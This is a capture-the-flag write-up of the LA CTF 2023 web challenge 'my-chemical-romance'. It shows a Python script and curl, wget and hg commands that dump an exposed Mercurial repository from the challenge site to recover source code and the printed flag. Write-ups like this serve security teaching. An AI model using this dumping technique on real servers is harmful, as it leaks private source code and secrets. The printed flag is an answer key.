# my-chemical-romance
## Overview
- Overall difficulty for me (From 1-10 stars): ★★★★★★★★★☆
- 104 solves / 439 points
## Background
> Author: bliutech
When I was... a young boy... I made a "My Chemical Romance" fanpage!
[my-chemical-romance.lac.tf](https://my-chemical-romance.lac.tf)
## Enumeration
**Home page:**
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/LA-CTF-2023/images/Pasted%20image%2020230211143232.png)
A "My Chemical Romance" fanpage, cool.
In here, we see 5 "My Chemical Romance"'s YouTube music video.
Hmm... It seems empty.
**What if I go to a non-existence page?**
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/LA-CTF-2023/images/Pasted%20image%2020230211143654.png)
A custom 404 page?
However, our supplied path did NOT reflected to the page. So, no XSS, CSTI/SSTI or other client-side vulnerability in here.
**After fumbling around, I found that the web application accept HEAD method:**```shell┌[siunam♥earth]-(~/ctf/LA-CTF-2023/Web/my-chemical-romance)-[2023.02.11|14:47:01(HKT)]└> curl -I https://my-chemical-romance.lac.tf/ HTTP/1.1 200 OKServer: nginx/1.23.2Date: Sat, 11 Feb 2023 06:48:13 GMTContent-Type: text/html; charset=utf-8Content-Length: 1976Connection: keep-aliveContent-Disposition: inline; filename=index.htmlLast-Modified: Fri, 10 Feb 2023 23:25:52 GMTCache-Control: no-cacheETag: "1676071552.0-1976-1075513058"Source-Control-Management-Type: Mercurial-SCM```
Wait. "Source-Control-Management-Type: Mercurial-SCM"??
I never heard this before.
**Let's google that:**
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/LA-CTF-2023/images/Pasted%20image%2020230211144923.png)
Hmm... So, Mercurial SCM is like Git??
**[Offical website](https://www.mercurial-scm.org/):**
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/LA-CTF-2023/images/Pasted%20image%2020230211145047.png)
**That being said, the website has version control??**
> If you want to read more similar CTF challenge but in Git, you can read one of my HKCERT CTF 2022 challenge writeup: [Back to the Past](https://siunam321.github.io/ctf/HKCERT-CTF-2022/Web/Back-to-the-Past/)
Can we clone that repository?
```shell┌[siunam♥earth]-(~/ctf/LA-CTF-2023/Web/my-chemical-romance)-[2023.02.12|16:27:08(HKT)]└> hg clone https://my-chemical-romance.lac.tf/abort: empty destination path is not valid```
Nope...
After fumbling around, I was able to find [this](https://github.com/arthaud/hg-dumper) GitHub repository, which is a tool to dump a mercurial repository from a website.
However, I couldn't install it due to Python2. Maybe pip and virtualenv hates me :(
**So, I'll write a Python script to download all of them:**```py#!/usr/bin/env python3
import requestsfrom threading import Threadfrom time import sleepimport os
def download(URL, file):    requestResult = requests.get(URL + file)
    if 'Error 404: Page Not Found' not in requestResult.text:        print(f'[+] Found valid file: {file}')         with open(file, 'wb') as fd:            fd.write(requestResult.text.encode('utf-8'))
def main():    listFiles = [        '.hg/00changelog.i',        '.hg/branch',        '.hg/cache/branch2-served',        '.hg/cache/branchheads-served',        '.hg/cache/checkisexec',        '.hg/cache/checklink',        '.hg/cache/checklink-target',        '.hg/cache/checknoexec',        '.hg/dirstate',        '.hg/hgrc',        '.hg/last-message.txt',        '.hg/requires',        '.hg/store',        '.hg/store/00changelog.i',        '.hg/store/00manifest.i',        '.hg/store/fncache',        '.hg/store/phaseroots',        '.hg/store/undo',        '.hg/store/undo.phaseroots',        '.hg/store/requires',        '.hg/undo.bookmarks',        '.hg/undo.branch',        '.hg/undo.desc',        '.hg/undo.dirstate',        '.hgignore'    ]
    URL = 'https://my-chemical-romance.lac.tf/'
    if not os.path.exists('.hg'):        os.makedirs('.hg')        os.makedirs('.hg/cache')        os.makedirs('.hg/store')        os.makedirs('.hg/wcache')
    for file in listFiles:        thread = Thread(target=download, args=(URL, file))        thread.start()        sleep(0.1)
if __name__ == '__main__':    main()```
```shell┌[siunam♥earth]-(~/ctf/LA-CTF-2023/Web/my-chemical-romance)-[2023.02.12|17:50:28(HKT)]└> python3 dumper.py[+] Found valid file: .hg/00changelog.i[+] Found valid file: .hg/cache/branch2-served[+] Found valid file: .hg/dirstate[+] Found valid file: .hg/last-message.txt[+] Found valid file: .hg/requires[+] Found valid file: .hg/store/00changelog.i[+] Found valid file: .hg/store/00manifest.i[+] Found valid file: .hg/store/fncache[+] Found valid file: .hg/store/phaseroots[+] Found valid file: .hg/store/undo[+] Found valid file: .hg/store/undo.phaseroots[+] Found valid file: .hg/store/requires[+] Found valid file: .hg/undo.bookmarks[+] Found valid file: .hg/undo.branch[+] Found valid file: .hg/undo.desc[+] Found valid file: .hg/undo.dirstate┌[siunam♥earth]-(~/ctf/LA-CTF-2023/Web/my-chemical-romance)-[2023.02.12|17:50:54(HKT)]└> ls -lah .hg/total 48Kdrwxr-xr-x 5 siunam nam 4.0K Feb 12 17:46 .drwxr-xr-x 3 siunam nam 4.0K Feb 12 17:45 ..-rw-r--r-- 1 siunam nam   59 Feb 12 17:50 00changelog.idrwxr-xr-x 2 siunam nam 4.0K Feb 12 17:45 cache-rw-r--r-- 1 siunam nam  302 Feb 12 17:50 dirstate-rw-r--r-- 1 siunam nam   44 Feb 12 17:50 last-message.txt-rw-r--r-- 1 siunam nam   11 Feb 12 17:50 requiresdrwxr-xr-x 2 siunam nam 4.0K Feb 12 17:47 store-rw-r--r-- 1 siunam nam    0 Feb 12 17:50 undo.bookmarks-rw-r--r-- 1 siunam nam    7 Feb 12 17:50 undo.branch-rw-r--r-- 1 siunam nam    9 Feb 12 17:50 undo.desc-rw-r--r-- 1 siunam nam  305 Feb 12 17:50 undo.dirstatedrwxr-xr-x 2 siunam nam 4.0K Feb 12 17:45 wcache```
Nice!
**In `.hg/last-message.txt`, we see this:**```shell┌[siunam♥earth]-(~/ctf/LA-CTF-2023/Web/my-chemical-romance)-[2023.02.12|17:50:58(HKT)]└> cat .hg/last-message.txt Decided to keep my favorite song a secret :D ```
**Hmm... Let's view all the commit logs:**```shell┌[siunam♥earth]-(~/ctf/LA-CTF-2023/Web/my-chemical-romance)-[2023.02.12|17:51:17(HKT)]└> hg log        abort: index 00changelog is corrupted```
`00changelog` is corrupted?
**In `.hg/00changelog.i`, we see this:**```shell┌[siunam♥earth]-(~/ctf/LA-CTF-2023/Web/my-chemical-romance)-[2023.02.12|17:52:20(HKT)]└> cat .hg/00changelog.i   ÿÿ dummy changelog to prevent using the old repo layout```
**Also, in `.hg/store/fncache`, we see this:**```shell┌[siunam♥earth]-(~/ctf/LA-CTF-2023/Web/my-chemical-romance)-[2023.02.12|18:05:23(HKT)]└> cat .hg/store/fncache data/static/404.html.idata/static/mcr-meme.jpeg.idata/static/index.css.idata/gerard_way2001.py.idata/static/my-chemical-romance.jpeg.idata/static/index.html.idata/static/my-chemical-romance.jpeg.d```
It looks like it's the file structure of the web application?
The `gerard_way2001.py` looks interesting, but I couldn't fetch it.
Anyway, let's go back to the error.
It seems like I got a different file in my Python script.
**Let's use `curl` or `wget` to download the real one:**```shell┌[siunam♥earth]-(~/ctf/LA-CTF-2023/Web/my-chemical-romance/.hg/store)-[2023.02.12|18:16:20(HKT)]└> curl https://my-chemical-romance.lac.tf/.hg/store/00changelog.i -o 00changelog.i```
**Then, run `hg log` again:**```shell┌[siunam♥earth]-(~/ctf/LA-CTF-2023/Web/my-chemical-romance/.hg/store)-[2023.02.12|18:17:20(HKT)]└> hg logwarning: ignoring unknown working parent 3ec38b3a79c3!changeset:   1:3ecb3a79e255tag:         tipuser:        bliutech <[email protected]>date:        Fri Feb 10 06:50:48 2023 -0800summary:     Decided to keep my favorite song a secret :D
changeset:   0:2445227b04cduser:        bliutech <[email protected]>date:        Fri Feb 10 06:49:48 2023 -0800summary:     I love 'My Chemical Romance'
(END)```
Nice!! We now can read all the commits!
The first commit looks sussy!
**Let's switch to that commit!**```shell┌[siunam♥earth]-(~/ctf/LA-CTF-2023/Web/my-chemical-romance/.hg)-[2023.02.12|18:27:30(HKT)]└> hg checkout 2445227b04cd            abort: data/gerard_way2001.py@c87e2916933c23490cdbb457c4113c31df357d87: no match found```
> Note: If you see another error, you could re-download all the files.
No match found??
**After poking around at the [Mercurial documentation](https://www.mercurial-scm.org/wiki/Repository), I found this:**
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/LA-CTF-2023/images/Pasted%20image%2020230212205816.png)
The revlog per tracked files are in `.hg/store/data/<encoded path>.i`!
**Then, look at the `.hg/store/fncache`:**```shell┌[siunam♥earth]-(~/ctf/LA-CTF-2023/Web/my-chemical-romance/.hg/store)-[2023.02.12|20:59:03(HKT)]└> cat fncache    data/static/404.html.idata/static/mcr-meme.jpeg.idata/static/index.css.idata/gerard_way2001.py.idata/static/my-chemical-romance.jpeg.idata/static/index.html.idata/static/my-chemical-romance.jpeg.d```
That makes sense now!
**Let's download all of them:**```shell┌[siunam♥earth]-(~/ctf/LA-CTF-2023/Web/my-chemical-romance/.hg/store/data/static)-[2023.02.12|20:59:50(HKT)]└> ls -lah     total 240Kdrwxr-xr-x 2 siunam nam 4.0K Feb 12 20:57 .drwxr-xr-x 3 siunam nam 4.0K Feb 12 20:55 ..-rw-r--r-- 1 siunam nam  280 Feb 12 20:55 404.html.i-rw-r--r-- 1 siunam nam  359 Feb 12 20:55 index.css.i-rw-r--r-- 1 siunam nam  745 Feb 12 20:57 index.html.i-rw-r--r-- 1 siunam nam  64K Feb 12 20:55 mcr-meme.jpeg.i-rw-r--r-- 1 siunam nam 149K Feb 12 20:56 my-chemical-romance.jpeg.d-rw-r--r-- 1 siunam nam   64 Feb 12 20:55 my-chemical-romance.jpeg.i```
**However:**```shell┌[siunam♥earth]-(~/ctf/LA-CTF-2023/Web/my-chemical-romance/.hg/store/data)-[2023.02.12|21:00:08(HKT)]└> curl https://my-chemical-romance.lac.tf/.hg/store/data/gerard_way2001.py.i
<html>    <head>        <title>My Favorite Band: My Chemical Romance</title>        <link rel="stylesheet" href="/index.css">    </head>    <body>        <div class="content">            <h1>Error 404: Page Not Found</h1>         </div>    </body></html>```
Hmm... The `.hg/store/data/gerard_way2001.py.i` seems like doesn't exist on the web server??
## After the CTF
Now, this is a really weird quirk in Mercurial SCM.
> From this challenge's author -- bliutech:>  > ![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/LA-CTF-2023/images/Pasted%20image%2020230213172827.png)
**So the file we had to look for was `.hg/store/data/gerard__way2001.py.i`:**```shell┌[siunam♥earth]-(~/ctf/LA-CTF-2023/Web/my-chemical-romance/.hg/store/data)-[2023.02.13|17:17:44(HKT)]└> wget https://my-chemical-romance.lac.tf/.hg/store/data/gerard__way2001.py.i[...]```
**That way, we can finally `checkout` to the first commit:**```shell┌[siunam♥earth]-(~/ctf/LA-CTF-2023/Web/my-chemical-romance/.hg/store/data)-[2023.02.13|17:22:21(HKT)]└> hg checkout 2445227b04cdfile 'gerard_way2001.py' was deleted in local [working copy] but was modified in other [destination].You can use (c)hanged version, leave (d)eleted, or leave (u)nresolved.What do you want to do? cupdating [====================================================================================>] 2/2 01sfile 'static/index.html' was deleted in local [working copy] but was modified in other [destination].You can use (c)hanged version, leave (d)eleted, or leave (u)nresolved.What do you want to do? c0 files updated, 2 files merged, 0 files removed, 0 files unresolved                                     ┌[siunam♥earth]-(~/ctf/LA-CTF-2023/Web/my-chemical-romance/.hg/store/data)-[2023.02.13|17:22:56(HKT)]└> cat ../../../gerard_way2001.py from flask import Flask, send_from_directory, Response
app = Flask(__name__)
# FLAG: lactf{d0nT_6r1nk_m3rCur1al_fr0m_8_f1aSk}[...]```
We found the flag!
***After the CTF has finished, I also reviewed my `hg clone` error output:***```shell┌[siunam♥earth]-(~/ctf/LA-CTF-2023/Web/my-chemical-romance)-[2023.02.12|16:27:08(HKT)]└> hg clone https://my-chemical-romance.lac.tf/abort: empty destination path is not valid```
Wait... "empty destination path"??? Did I just miss that for the entire CTF?!!
**Umm...**```shell┌[siunam♥earth]-(~/ctf/LA-CTF-2023/Web/my-chemical-romance/after)-[2023.02.13|16:40:26(HKT)]└> hg clone https://my-chemical-romance.lac.tf/ mcr requesting all changesmalformed line in .hg/bookmarks: ''malformed line in .hg/bookmarks: '<html>'malformed line in .hg/bookmarks: '<head>'malformed line in .hg/bookmarks: '<title>My Favorite Band: My Chemical Romance</title>'malformed line in .hg/bookmarks: '<link rel="stylesheet" href="/index.css">'malformed line in .hg/bookmarks: '</head>'malformed line in .hg/bookmarks: '<body>'malformed line in .hg/bookmarks: '<div class="content">'malformed line in .hg/bookmarks: '<h1>Error 404: Page Not Found</h1>'malformed line in .hg/bookmarks: ''malformed line in .hg/bookmarks: '</div>'malformed line in .hg/bookmarks: '</body>'malformed line in .hg/bookmarks: '</html>'adding changesetsadding manifestsadding file changesadded 2 changesets with 8 changes to 6 filesnew changesets 2445227b04cd:3ecb3a79e255updating to branch default6 files updated, 0 files merged, 0 files removed, 0 files unresolved┌[siunam♥earth]-(~/ctf/LA-CTF-2023/Web/my-chemical-romance/after)-[2023.02.13|16:46:56(HKT)]└> ls -lah mcr total 20Kdrwxr-xr-x 4 siunam nam 4.0K Feb 13 16:40 .drwxr-xr-x 3 siunam nam 4.0K Feb 13 16:40 ..-rw-r--r-- 1 siunam nam  420 Feb 13 16:40 gerard_way2001.pydrwxr-xr-x 5 siunam nam 4.0K Feb 13 16:40 .hgdrwxr-xr-x 2 siunam nam 4.0K Feb 13 16:40 static```
Gosh darn it!
**Anyway, we should able to get the flag by using `checkout`:**```shell┌[siunam♥earth]-(~/ctf/LA-CTF-2023/Web/my-chemical-romance/after)-[2023.02.13|16:47:31(HKT)]└> cd mcr                    ┌[siunam♥earth]-(~/ctf/LA-CTF-2023/Web/my-chemical-romance/after/mcr)-[2023.02.13|16:47:36(HKT)]└> hg checkout 2445227b04cd                        2 files updated, 0 files merged, 0 files removed, 0 files unresolved┌[siunam♥earth]-(~/ctf/LA-CTF-2023/Web/my-chemical-romance/after/mcr)-[2023.02.13|16:47:41(HKT)]└> ls -lah    total 20Kdrwxr-xr-x 4 siunam nam 4.0K Feb 13 16:47 .drwxr-xr-x 3 siunam nam 4.0K Feb 13 16:40 ..-rw-r--r-- 1 siunam nam  469 Feb 13 16:47 gerard_way2001.pydrwxr-xr-x 5 siunam nam 4.0K Feb 13 16:47 .hgdrwxr-xr-x 2 siunam nam 4.0K Feb 13 16:47 static┌[siunam♥earth]-(~/ctf/LA-CTF-2023/Web/my-chemical-romance/after/mcr)-[2023.02.13|16:47:43(HKT)]└> cat gerard_way2001.py from flask import Flask, send_from_directory, Response
app = Flask(__name__)
# FLAG: lactf{d0nT_6r1nk_m3rCur1al_fr0m_8_f1aSk}[...]```
We found the flag!
- Flag: `lactf{d0nT_6r1nk_m3rCur1al_fr0m_8_f1aSk}`
# Conclusion
What we've learned:
1. Leaking Mercurial SCM Repository In An Web Application